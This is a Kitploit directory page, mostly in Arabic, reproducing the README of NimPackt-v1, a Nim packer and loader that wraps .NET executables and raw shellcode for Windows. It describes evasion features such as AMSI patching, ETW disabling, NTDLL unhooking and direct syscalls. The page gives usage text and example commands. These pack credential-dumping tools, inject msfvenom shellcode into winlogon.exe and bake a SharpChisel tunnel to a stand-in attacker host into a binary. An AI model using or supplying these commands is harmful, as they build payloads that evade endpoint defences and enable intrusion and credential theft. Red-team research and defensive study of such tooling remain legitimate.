Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
NimPackt-v1 — مُجمّع ومُحمّل شيل كود مبني على Nim من أجل الأمان التشغيلي والربح | Kitploit
أدوات/GitHubGitHub/chvancooten/nimpackt-v1
أطر الاستغلالتوليد الحمولةشيل كوداختبار الاختراقالفريق الأحمراستغلال الملفات الثنائية
GitHubchvancooten/nimpackt-v1

NimPackt-v1

مُجمّع ومُحمّل شيل كود مبني على Nim من أجل الأمان التشغيلي والربح

عرض المستودع
48776منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

NimPackt

أداة تغليف مبنية على Nim لملفات .NET القابلة للتنفيذ وـ shellcode الخام

بقلم Cas van Cooten (@chvancooten)

مع شكر خاص لـ Marcello Salvati (@byt3bl33der) و Fabian Mosch (@S3cur3Th1sSh1t)

الوصف

تحديث: NimPackt-v1 هو من أسوأ الأكواد التي كتبتها على الإطلاق (كنت قد بدأت للتو في تعلم Nim). لهذا السبب، بدأت في إعادة كتابة كاملة لـ NimPackt، أسميتها 'NimPackt-NG' (لا تزال خاصة حاليًا). مع هذه الإعادة، قررت فتح المصدر للفرع القديم ("NimPackt-v1"). لذلك، لم يعد هذا الفرع مدعومًا ويأتي بدون أي ضمان أو دعم. بطبيعة الحال، طلبات السحب (PRs) مرحب بها دائمًا :)

NimPackt هي أداة تغليف مبنية على Nim لملفات .NET (C#) القابلة للتنفيذ وـ shellcode التي تستهدف Windows. تقوم تلقائيًا بتغليف الحمولة في ملف ثنائي Nim يتم تجميعه إلى لغة C أصلية، وبالتالي يصعب اكتشافه وهندسته العكسية. هناك طريقتان رئيسيتان للتنفيذ:

  • تقوم Execute-Assembly بإعادة تغليف ملف .NET قابل للتنفيذ وتشغيله، مع تطبيق إجراءات مراوغة مثل إزالة ربط API، أو تعديل AMSI، أو تعطيل ETW اختياريًا.
  • تأخذ Shinject ملفًا .bin خامًا يحتوي على shellcode خام مستقل عن الموضع، وتنفذه محليًا أو في عملية بعيدة، مع استخدام استدعاءات النظام المباشرة اختياريًا لتفعيل الـ shellcode أو تعديل روابط API لتجنب EDR.

حاليًا، يتمتع NimPackt بالميزات التالية.

  • يستخدم استدعاءات نظام ثابتة لتصحيح التنفيذ لتجنب EDR
  • يزيل ربط واجهات برمجة التطبيقات (API) في وضع المستخدم للخيط المستحدث عن طريق تحديث NTDLL.dll باستخدام ShellyCoat
  • يعدل تتبع الأحداث في Windows (ETW)
  • يعدل واجهة فحص مكافحة البرامج الضارة (AMSI)
  • يقوم بتشفير الحمولة باستخدام AES بمفتاح عشوائي لمنع التحليل الثابت أو البصمة
  • يتم تجميعه إلى exe أو dll
  • يدعم التجميع عبر المنصات (من كل من Linux و Windows)
  • يتكامل مع CobaltStrike لتوليد حمولات بسهولة 😎

يمكن العثور على مصدر رائع للثنائيات المبنية على C# للأدوات الهجومية هنا. يُنصح بشدة بتجميع الثنائيات C# بنفسك. على الرغم من أن الثنائيات المضمنة مشفرة، إلا أنه يجب عليك تعمية الثنائيات الحساسة (مثل Mimikatz) لتقليل خطر الاكتشاف.

التثبيت

إذا كنت تواجه مشكلات في تجميع الثنائي مع استدعاءات النظام (Syscalls)، فحاول خفض إصدار GCC إلى 8.1.0 (خاصة على Windows). اختبر الحمولات المُولَّدة دائمًا!

على Linux، ما عليك سوى تثبيت الحزم المطلوبة واستخدام مثبت حزم Nimble لتثبيت الحزم المطلوبة ومكتبات Python.

root@kitploit:~
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

على Windows، قم بتشغيل مثبت Nim من هنا. تأكد من تثبيت mingw وتعيين قيم المسار بشكل صحيح باستخدام الأداة finish.exe المقدمة. إذا لم يكن لديك Python3 فقم بتثبيته، ثم قم بتثبيت الحزم المطلوبة كما يلي.

root@kitploit:~
nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

يمكن استخدام صورة Docker chvancooten/nimbuild لتجميع ثنائيات NimPackt-v1. استخدام Docker سهل ويتجنب مشكلات التبعية، حيث أن جميع التبعيات المطلوبة مثبتة مسبقًا في هذه الحاوية.

لاستخدامه، قم بتثبيت Docker لنظام التشغيل الخاص بك وتأكد من أن الـ shellcode المدخل موجود في المجلد الحالي. ثم ابدأ التجميع في حاوية كما يلي.

root@kitploit:~
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

ملحق CobaltStrike

لتثبيت ملحق CobaltStrike، حدد Cobalt Strike -> Script Manager من شريط القائمة، واختر Load. تأكد من تحميل ملف .cna من موقعه الأصلي، وإلا فلن يتمكن من العثور على ملفات نصوص NimPackt!

NimPackt

الاستخدام

root@kitploit:~
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

أمثلة:

root@kitploit:~
# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

يتم تخزين الثنائيات في المجلد الفرعي output من دليل التثبيت الخاص بك. يمكن تنفيذ ملفات dll المُولَّدة كما يلي (يمكن تغيير نقطة الدخول في قالب Nim):

root@kitploit:~
rundll32 exampleShinjectNimPackt.dll,IconSrv
تنزيل الأداة